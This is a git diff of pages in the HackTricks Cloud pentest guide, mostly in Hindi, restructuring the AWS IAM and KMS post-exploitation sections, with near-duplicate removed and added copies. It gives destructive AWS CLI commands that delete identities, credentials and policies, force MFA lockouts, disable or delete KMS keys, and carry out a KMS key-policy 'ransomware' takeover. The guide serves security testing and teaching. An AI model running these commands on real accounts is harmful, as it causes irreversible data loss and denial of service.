-A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **कुछ सेवाएँ इसका समर्थन नहीं कर सकतीं** (कुछ स्रोतों के अनुसार जैसे CloudTrail)।
-
-### क्रेडेंशियल हटाना
-With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — एक व्यक्ति access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates या CloudFront public keys को हटाकर या instance profiles से roles को disassociate करके प्रभाव डाल सकता है। ऐसे कार्य तुरंत वैध उपयोगकर्ताओं और एप्लिकेशनों को ब्लॉक कर सकते हैं और उन प्रणालियों के लिए denial-of-service या पहुँच खोने का कारण बन सकते हैं जो उन क्रेडेंशियल पर निर्भर हैं, इसलिए इन IAM permissions को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
-```bash
-# Remove Access Key of a user
-aws iam delete-access-key \
---user-name  \
---access-key-id AKIAIOSFODNN7EXAMPLE
-
-## Remove ssh key of a user
-aws iam delete-ssh-public-key \
---user-name  \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE
-```
-### पहचान हटाना
-जैसे `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, या `iam:RemoveUserFromGroup` जैसी अनुमतियों के साथ, कोई कर्ता उपयोगकर्ताओं, रोल्स, या समूहों को हटा सकता है—या समूह सदस्यता बदल सकता है—जिससे पहचानें और संबंधित प्रमाण हट जाते हैं। इससे उन लोगों और सेवाओं के लिए तुरंत पहुँच टूट सकती है जो उन पहचानों पर निर्भर हैं, जिससे denial-of-service या पहुँच खोने की स्थिति हो सकती है, इसलिए इन IAM क्रियाओं को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
-```bash
-# Delete a user
-aws iam delete-user \
---user-name 
-
-# Delete a group
-aws iam delete-group \
---group-name 
-
-# Delete a role
-aws iam delete-role \
---role-name 
-```
-###
-निम्नलिखित अनुमतियों में से किसी एक — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — के साथ कोई भी कर्ता managed/inline policies को delete या detach कर सकता है, policy versions या permissions boundaries को हटा सकता है, और users, groups, या roles से policies को unlink कर सकता है। यह authorizations को नष्ट कर देता है और permissions model को बदल सकता है, जिससे उन principals के लिए जिन्हें उन policies पर निर्भरता थी तुरंत access खोना या denial-of-service हो सकता है, इसलिए इन IAM actions को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
-```bash
-# Delete a group policy
-aws iam delete-group-policy \
---group-name  \
---policy-name 
-
-# Delete a role policy
-aws iam delete-role-policy \
---role-name  \
---policy-name 
-```
-### फेडरेटेड पहचान हटाना
-`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, और `iam:RemoveClientIDFromOpenIDConnectProvider` के साथ, कोई व्यक्ति OIDC/SAML पहचान प्रदाताओं को हटा सकता है या क्लाइंट IDs निकाल सकता है। यह फेडरेटेड प्रमाणीकरण को बाधित कर देता है, टोकन सत्यापन को रोकता है और SSO पर निर्भर उपयोगकर्ताओं और सेवाओं की पहुँच को तुरंत नकार देता है जब तक कि IdP या कॉन्फ़िगरेशन पुनर्स्थापित नहीं किए जाते।
-```bash
-# Delete OIDCP provider
-aws iam delete-open-id-connect-provider \
---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
-
-# Delete SAML provider
-aws iam delete-saml-provider \
---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
-```
-### अनधिकृत MFA सक्रियकरण
-With `iam:EnableMFADevice`, कोई हमलावर किसी उपयोगकर्ता की पहचान पर एक MFA device पंजीकृत कर सकता है, जिससे वैध उपयोगकर्ता साइन-इन नहीं कर पाएगा। एक बार अनधिकृत MFA सक्षम हो जाने पर उपयोगकर्ता तब तक लॉक आउट हो सकता है जब तक वह MFA device हटाया या रीसेट न किया जाए (नोट: यदि कई MFA devices पंजीकृत हैं, तो साइन-इन के लिए केवल एक पर्याप्त होता है, इसलिए यह हमला पहुँच रोकने पर प्रभावी नहीं होगा)।
-```bash
-aws iam enable-mfa-device \
---user-name  \
---serial-number arn:aws:iam::111122223333:mfa/alice \
---authentication-code1 123456 \
---authentication-code2 789012
-```
-### Certificate/Key Metadata Tampering
-`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` के साथ, एक हमलावर सार्वजनिक कुंजियों और प्रमाणपत्रों की स्थिति या मेटाडेटा बदल सकता है। कुंजियों/प्रमाणपत्रों को निष्क्रिय चिह्नित करके या संदर्भों में परिवर्तन करके वे SSH authentication तोड़ सकते हैं, X.509/TLS validations अमान्य कर सकते हैं, और उन सेवाओं को तुरंत बाधित कर सकते हैं जो उन क्रेडेंशियल्स पर निर्भर हैं, जिससे पहुंच या उपलब्धता खो सकती है।
-```bash
-aws iam update-ssh-public-key \
---user-name  \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE \
---status Inactive
-
-aws iam update-server-certificate \
---server-certificate-name  \
---new-path /prod/
-```
-## संदर्भ
-
-- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
new file mode 100644
index 000000000..800f5da64
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
@@ -0,0 +1,166 @@
+# AWS - IAM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+For more information about IAM access:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+## Confused Deputy समस्या
+
+यदि आप **एक external account (A)** को अपने अकाउंट में किसी **role** तक पहुँच देने की अनुमति देते हैं, तो आपके पास संभवतः यह देखने की **कोई visibility नहीं** होगी कि **ठीक कौन उस external account तक पहुँच सकता है**। यह एक समस्या है, क्योंकि यदि किसी अन्य external account (B) को external account (A) तक पहुँच है तो सम्भव है कि **B भी आपके अकाउंट तक पहुँच सके**।
+
+इसलिए, जब आप किसी external account को अपने अकाउंट में किसी role तक पहुँच देते हैं तो आप एक `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "secret" string है जिसे external account (A) को आपकी संस्था में `assume the role` करने के लिए **specify करना ज़रूरी** होता है। चूँकि **external account B इस string को नहीं जानता होगा**, भले ही उसके पास A तक पहुँच हो, वह **आपके role तक पहुँचने में सक्षम नहीं होगा**।
+
+

+
+हालाँकि, ध्यान दें कि यह `ExternalId` "secret" **एक secret नहीं है**, कोई भी जो **IAM assume role policy पढ़ सकता है** वह इसे देख पाएगा। लेकिन जब तक external account A इसे जानता है और external account **B इसे नहीं जानता**, यह **B द्वारा A का दुरुपयोग कर आपके role तक पहुँचने को रोकता है**।
+
+Example:
+```json
+{
+"Version": "2012-10-17",
+"Statement": {
+"Effect": "Allow",
+"Principal": {
+"AWS": "Example Corp's AWS Account ID"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "12345"
+}
+}
+}
+}
+```
+> [!WARNING]
+> किसी attacker को confused deputy का फायदा उठाने के लिए किसी तरह यह पता लगाना होगा कि क्या current account के principals अन्य accounts में roles impersonate कर सकते हैं।
+
+### अनपेक्षित ट्रस्ट्स
+
+#### Wildcard को principal के रूप में
+```json
+{
+"Action": "sts:AssumeRole",
+"Effect": "Allow",
+"Principal": { "AWS": "*" }
+}
+```
+यह नीति **सभी AWS** को भूमिका ग्रहण करने की अनुमति देती है।
+
+#### Service को principal के रूप में
+```json
+{
+"Action": "lambda:InvokeFunction",
+"Effect": "Allow",
+"Principal": { "Service": "apigateway.amazonaws.com" },
+"Resource": "arn:aws:lambda:000000000000:function:foo"
+}
+```
+यह नीति **किसी भी खाते** को उनके apigateway को इस Lambda को कॉल करने के लिए कॉन्फ़िगर करने की अनुमति देती है।
+
+#### S3 को प्रिंसिपल के रूप में
+```json
+"Condition": {
+"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
+"StringEquals": {
+"aws:SourceAccount": "123456789012"
+}
+}
+```
+यदि किसी principal के रूप में S3 bucket दिया गया है—क्योंकि S3 buckets का कोई Account ID नहीं होता—तो यदि आपने **अपना bucket हटा दिया और attacker ने** उसे अपने ही account में बना लिया, तो वे इसका दुरुपयोग कर सकते हैं।
+
+#### समर्थित नहीं
+```json
+{
+"Effect": "Allow",
+"Principal": { "Service": "cloudtrail.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
+}
+```
+A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **कुछ सेवाएँ यह समर्थन नहीं कर सकतीं** (कुछ स्रोतों के अनुसार जैसे CloudTrail)।
+
+### क्रेडेंशियल हटाना
+निम्नलिखित permissions में से किसी के साथ — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — कोई अभिकर्ता access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates या CloudFront public keys हटा सकता है, या instance profiles से roles को disassociate कर सकता है। ऐसी क्रियाएँ तुरंत वैध उपयोगकर्ताओं और एप्लिकेशन की पहुँच रोक सकती हैं और उन प्रणालियों के लिए जो उन credentials पर निर्भर हैं, denial-of-service या पहुँच खोने का कारण बन सकती हैं, इसलिए इन IAM permissions को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
+```bash
+# Remove Access Key of a user
+aws iam delete-access-key \
+--user-name  \
+--access-key-id AKIAIOSFODNN7EXAMPLE
+
+## Remove ssh key of a user
+aws iam delete-ssh-public-key \
+--user-name  \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE
+```
+### पहचान हटाना
+जैसे अनुमतियाँ `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, या `iam:RemoveUserFromGroup` होने पर, कोई व्यक्ति users, roles, या groups को हटा सकता है—या समूह सदस्यता बदल सकता है—जिससे पहचान और संबंधित निशान हट जाते हैं। यह उन लोगों और सेवाओं के लिए तुरंत पहुँच तोड़ सकता है जो उन पहचान पर निर्भर हैं, जिससे denial-of-service या पहुँच खोने की स्थिति हो सकती है, इसलिए इन IAM कार्रवाइयों को कड़ाई से प्रतिबंधित और मॉनिटर किया जाना चाहिए।
+```bash
+# Delete a user
+aws iam delete-user \
+--user-name 
+
+# Delete a group
+aws iam delete-group \
+--group-name 
+
+# Delete a role
+aws iam delete-role \
+--role-name 
+```
+###
+इनमें से किसी भी अनुमति — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — के साथ कोई actor managed/inline policies को delete या detach कर सकता है, policy versions या permissions boundaries हटा सकता है, और users, groups, या roles से policies unlink कर सकता है। यह authorizations को नष्ट कर देता है और permissions मॉडल को बदल सकता है, जिससे उन प्रिंसिपल्स के लिए जो इन पॉलिसियों पर निर्भर थे तुरंत access की हानि या denial-of-service हो सकती है, इसलिए इन IAM actions को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
+```bash
+# Delete a group policy
+aws iam delete-group-policy \
+--group-name  \
+--policy-name 
+
+# Delete a role policy
+aws iam delete-role-policy \
+--role-name  \
+--policy-name 
+```
+### फेडरेटेड पहचान हटाना
+`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, और `iam:RemoveClientIDFromOpenIDConnectProvider` के साथ, एक actor OIDC/SAML identity providers को हटा सकता है या client IDs को निकाल सकता है। यह फेडरेटेड प्रमाणीकरण को बाधित कर देता है, token validation को रोकता है और उन उपयोगकर्ताओं और सेवाओं का तुरंत access अस्वीकार कर देता है जो SSO पर निर्भर हैं, जब तक कि IdP या कॉन्फ़िगरेशन पुनर्स्थापित न हो जाएँ।
+```bash
+# Delete OIDCP provider
+aws iam delete-open-id-connect-provider \
+--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
+
+# Delete SAML provider
+aws iam delete-saml-provider \
+--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
+```
+### अनधिकृत MFA सक्रियकरण
+`iam:EnableMFADevice` के साथ, एक हमलावर किसी उपयोगकर्ता की पहचान पर एक MFA डिवाइस रजिस्टर कर सकता है, जिससे वैध उपयोगकर्ता का साइन-इन रोका जा सकता है। एक बार अनधिकृत MFA सक्षम हो जाने पर उपयोगकर्ता तब तक लॉक आउट हो सकता है जब तक डिवाइस को हटाया या रीसेट न किया जाए (नोट: यदि कई MFA डिवाइस रजिस्टर हैं, तो साइन-इन के लिए केवल एक की आवश्यकता होती है, इसलिए यह हमला एक्सेस को रोकने पर कोई प्रभाव नहीं डालेगा)।
+```bash
+aws iam enable-mfa-device \
+--user-name  \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
+### प्रमाणपत्र/कुंजी मेटाडेटा छेड़छाड़
+`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` के साथ, एक हमलावर सार्वजनिक कुंजियों और प्रमाणपत्रों की स्थिति या मेटाडेटा बदल सकता है। कुंजियों/प्रमाणपत्रों को निष्क्रिय चिह्नित करके या संदर्भ बदलकर, वे SSH authentication को तोड़ सकते हैं, X.509/TLS validations को अमान्य कर सकते हैं, और उन सेवाओं को तुरंत बाधित कर सकते हैं जो उन credentials पर निर्भर करती हैं, जिससे पहुँच या उपलब्धता का नुकसान हो सकता है।
+```bash
+aws iam update-ssh-public-key \
+--user-name  \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
+--status Inactive
+
+aws iam update-server-certificate \
+--server-certificate-name  \
+--new-path /prod/
+```
+## संदर्भ
+
+- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
deleted file mode 100644
index ac76f88d1..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ /dev/null
@@ -1,184 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Encrypt/Decrypt information
-
-`fileb://` और `file://` वे URI schemes हैं जो AWS CLI commands में स्थानीय फ़ाइलों के पथ को निर्दिष्ट करने के लिए उपयोग होते हैं:
-
-- `fileb://:` फ़ाइल को बाइनरी मोड में पढ़ता है, आमतौर पर गैर-पाठ फ़ाइलों के लिए उपयोग होता है।
-- `file://:` फ़ाइल को टेक्स्ट मोड में पढ़ता है, सामान्यतः सादा पाठ फ़ाइलों, स्क्रिप्ट्स, या JSON के लिए उपयोग होता है जिनमें विशेष एन्कोडिंग आवश्यकताएँ नहीं होतीं।
-
-> [!TIP]
-> ध्यान दें कि यदि आप किसी फ़ाइल के अंदर कुछ डेटा को decrypt करना चाहते हैं, तो फ़ाइल में बाइनरी डेटा होना चाहिए, base64-encoded डेटा नहीं। (fileb://)
-
-- Using a **symmetric** key
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---output text \
---query Plaintext | base64 \
---decode
-```
-- एक **asymmetric** key का उपयोग:
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---output text \
---query Plaintext | base64 \
---decode
-```
-### KMS Ransomware
-
-यदि किसी attacker के पास KMS पर privileged access हो तो वह keys की KMS policy को बदल सकता है और **grant his account access over them**, जिससे legit account को दिया गया access हटा दिया जाता है।
-
-फिर, legit account के users उन किसी भी service की कोई भी information तक access नहीं कर पाएंगे जो उन keys से encrypted की गई है, और इससे account पर एक सरल परंतु प्रभावी ransomware बन जाएगा।
-
-> [!WARNING]
-> ध्यान दें कि **AWS managed keys aren't affected** इस हमले से प्रभावित नहीं होते; केवल **Customer managed keys** प्रभावित होते हैं।
-
-> साथ ही ध्यान दें कि पैरामीटर **`--bypass-policy-lockout-safety-check`** का उपयोग आवश्यक है (वेब कंसोल में इस विकल्प की अनुपस्थिति के कारण यह हमला केवल CLI से ही संभव है)।
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
---policy-name default \
---policy file:///tmp/policy.yaml \
---bypass-policy-lockout-safety-check
-
-{
-"Id": "key-consolepolicy-3",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam:::root"
-},
-"Action": "kms:*",
-"Resource": "*"
-}
-]
-}
-```
-> [!CAUTION]
-> ध्यान दें कि अगर आप उस policy को बदलकर केवल किसी external account को access देते हैं, और फिर उसी external account से आप original account को access वापस देने के लिए नई policy सेट करने की कोशिश करते हैं, तो आप ऐसा नहीं कर पाएंगे क्योंकि **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**।
-
-

-
-### सामान्य KMS Ransomware
-
-ग्लोबल KMS Ransomware को अंजाम देने का एक और तरीका है, जिसमें निम्नलिखित कदम शामिल होंगे:
-
-- Attacker द्वारा import किए गए key material के साथ एक नया **key** बनाना
-- पीड़ित के पुराने डेटा को, जो पिछले version से encrypted था, नए key से **re-encrypt** करना
-- **Delete the KMS key**
-- अब केवल attacker, जिसके पास original key material है, encrypted डेटा को डिक्रिप्ट कर सकेगा
-
-### kms:DeleteImportedKeyMaterial के माध्यम से कुंजियाँ हटाना
-
-`kms:DeleteImportedKeyMaterial` permission के साथ, एक actor CMKs जिनका `Origin=EXTERNAL` है (ऐसी CMKs जिन्होंने अपना key material import किया हुआ है) से imported key material को हटा सकता है, जिससे वे डेटा को decrypt करने में असमर्थ हो जाती हैं। यह क्रिया विनाशकारी और अपरिवर्तनीय है जब तक compatible material पुनः-import न किया जाए, और यह attacker को प्रभावी रूप से ransomware-जैसा डेटा नुकसान पैदा करने की अनुमति देती है क्योंकि encrypted जानकारी स्थायी रूप से अनुपलब्ध हो जाती है।
-```bash
-aws kms delete-imported-key-material --key-id 
-```
-### कुंजियाँ नष्ट करना
-
-कुंजियाँ नष्ट करने से DoS करना संभव है।
-```bash
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
---pending-window-in-days 7
-```
-> [!CAUTION]
-> ध्यान दें कि AWS अब **पिछली कार्रवाइयों को किसी क्रॉस-एकाउंट से किए जाने से रोकता है:**
-
-### Alias बदलें या हटाएँ
-यह हमला AWS KMS aliases को हटा देता है या पुननिर्देशित कर देता है, जिससे key resolution टूट जाती है और उन किसी भी सेवाओं में तुरंत विफलताएँ होती हैं जो उन aliases पर निर्भर करती हैं — परिणामस्वरूप एक denial-of-service। `kms:DeleteAlias` या `kms:UpdateAlias` जैसी permissions होने पर attacker aliases को हटा या पुननिर्देशित कर सकता है और cryptographic operations (e.g., encrypt, describe) को बाधित कर सकता है। कोई भी service जो key ID के बजाय alias को संदर्भित करती है वह alias के बहाल होने या सही तरीके से remap किए जाने तक fail हो सकती है।
-```bash
-# Delete Alias
-aws kms delete-alias --alias-name alias/
-
-# Update Alias
-aws kms update-alias \
---alias-name alias/ \
---target-key-id 
-```
-### Cancel Key Deletion
-ऐसी अनुमतियाँ जैसे `kms:CancelKeyDeletion` और `kms:EnableKey` होने पर, एक हमलावर AWS KMS customer master key की अनुसूचित deletion को रद्द कर सकता है और बाद में उसे पुनः सक्षम कर सकता है। ऐसा करने से कुंजी (प्रारंभ में Disabled स्थिति में) पुनर्प्राप्त होती है और पहले से सुरक्षित डेटा को decrypt करने की इसकी क्षमता बहाल हो जाती है, जिससे exfiltration संभव हो जाता है।
-```bash
-# Firts cancel de deletion
-aws kms cancel-key-deletion \
---key-id 
-
-## Second enable the key
-aws kms enable-key \
---key-id 
-```
-### कुंजी अक्षम करें
-`kms:DisableKey` permission के साथ, एक actor AWS KMS customer master key को disable कर सकता है, जिससे वह कुंजी encryption या decryption के लिए उपयोग नहीं की जा सकेगी। इससे उन किसी भी सेवाओं की पहुँच टूट सकती है जो उस CMK पर निर्भर हैं और कुंजी को पुनः सक्षम किए जाने तक तुरंत व्यवधान या denial-of-service हो सकता है।
-```bash
-aws kms disable-key \
---key-id 
-```
-### Derive Shared Secret
-`kms:DeriveSharedSecret` अनुमति के साथ, एक actor KMS-held private key और user-supplied public key का उपयोग करके ECDH shared secret निकाल सकता है।
-```bash
-aws kms derive-shared-secret \
---key-id  \
---public-key fileb:/// \
---key-agreement-algorithm 
-```
-### Impersonation via kms:Sign
-`kms:Sign` permission के साथ, कोई actor KMS-stored CMK का उपयोग करके निजी कुंजी को उजागर किए बिना डेटा को क्रिप्टोग्राफ़िक रूप से साइन कर सकता है, जिससे मान्य सिग्नेचर बनते हैं जो impersonation या दुष्ट क्रियाओं को अधिकृत कर सकते हैं।
-```bash
-aws kms sign \
---key-id  \
---message fileb:// \
---signing-algorithm  \
---message-type RAW
-```
-### DoS with Custom Key Stores
-`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, या `kms:UpdateCustomKeyStore` जैसे permissions होने पर, कोई actor एक AWS KMS Custom Key Store (CKS) को संशोधित, डिस्कनेक्ट, या delete कर सकता है, जिससे उसके master keys कार्यहीन हो जाते हैं।  
-यह उन कुंजियों पर निर्भर किसी भी सेवाओं के encryption, decryption, और signing ऑपरेशंस को बाधित कर देता है और तुरंत denial-of-service का कारण बन सकता है।  
-इसलिए उन अनुमतियों को सीमित करना और मॉनिटर करना अत्यंत महत्वपूर्ण है।
-```bash
-aws kms delete-custom-key-store --custom-key-store-id 
-
-aws kms disconnect-custom-key-store --custom-key-store-id 
-
-aws kms update-custom-key-store --custom-key-store-id  --new-custom-key-store-name  --key-store-password 
-```
-

-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
new file mode 100644
index 000000000..b9dd5de74
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
@@ -0,0 +1,182 @@
+# AWS - KMS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### एन्क्रिप्ट/डिक्रिप्ट जानकारी
+
+`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
+
+- `fileb://:` फ़ाइल को बाइनरी मोड में पढ़ता है, सामान्यतः नॉन-टेक्स्ट फाइल्स के लिए उपयोग होता है।
+- `file://:` फ़ाइल को टेक्स्ट मोड में पढ़ता है, आमतौर पर प्लेन टेक्स्ट फाइल्स, स्क्रिप्ट्स, या ऐसे JSON के लिए उपयोग होता है जिनमें विशेष एन्कोडिंग आवश्यकताएँ नहीं होतीं।
+
+> [!TIP]
+> नोट: यदि आप किसी फाइल के अंदर कुछ डेटा डिक्रिप्ट करना चाहते हैं, तो फाइल में बाइनरी डेटा होना चाहिए, base64 एन्कोडेड डेटा नहीं। (fileb://)
+
+- Using a **symmetric** key
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+- **asymmetric** key का उपयोग:
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+### KMS Ransomware
+
+KMS पर विशेषाधिकारिक पहुंच रखने वाला attacker कुंजियों की KMS policy को संशोधित कर सकता है और **अपने खाते को उन पर पहुँच दे सकता है**, वैध खाते को दी गई पहुँच हटा सकता है।
+
+इसके बाद, वैध खाते के उपयोगकर्ता उन कुंजियों से एन्क्रिप्ट की गई किसी भी सेवा की जानकारी तक पहुँच नहीं पाएंगे, जिससे खाते पर एक आसान लेकिन प्रभावी ransomware बन जाएगा।
+
+> [!WARNING]
+> ध्यान दें कि **AWS managed keys aren't affected** — प्रभावित केवल **Customer managed keys** हैं।
+
+> साथ ही यह ध्यान दें कि पैरामीटर **`--bypass-policy-lockout-safety-check`** का उपयोग आवश्यक है (web console में इस विकल्प की कमी इस हमले को केवल CLI से संभव बनाती है)।
+```bash
+# Force policy change
+aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
+--policy-name default \
+--policy file:///tmp/policy.yaml \
+--bypass-policy-lockout-safety-check
+
+{
+"Id": "key-consolepolicy-3",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam:::root"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
+}
+```
+> [!CAUTION]
+> ध्यान दें कि यदि आप उस नीति को बदलते हैं और केवल किसी बाहरी खाते (external account) को ही पहुंच देते हैं, और फिर उसी बाहरी खाते से आप एक नई नीति सेट करके मूल खाते (original account) को पहुंच वापस देने की कोशिश करते हैं, तो आप सक्षम नहीं होंगे क्योंकि Put Polocy क्रिया cross account से निष्पादित नहीं की जा सकती।
+
+

+
+### Generic KMS Ransomware
+
+There is another way to perform a global KMS Ransomware, which would involve the following steps:
+
+- हमलावर द्वारा import किए गए **key with a key material** के साथ एक नया key बनाना
+- victim के पुराने डेटा को, जो previous version से encrypt था, नई key से **Re-encrypt older data** करना।
+- **Delete the KMS key**
+- अब केवल हमलावर, जिसके पास मूल key material है, encrypted डेटा को decrypt करने में सक्षम होगा।
+
+### Delete Keys via kms:DeleteImportedKeyMaterial
+
+With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imperted their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
+```bash
+aws kms delete-imported-key-material --key-id 
+```
+### keys को नष्ट करना
+
+keys को नष्ट करने से DoS किया जा सकता है।
+```bash
+# Schedule the destoy of a key (min wait time is 7 days)
+aws kms schedule-key-deletion \
+--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+--pending-window-in-days 7
+```
+> [!CAUTION]
+> ध्यान दें कि AWS अब **पिछली क्रियाओं को cross account से निष्पादित होने से रोकता है:**
+
+### Alias बदलना या हटाना
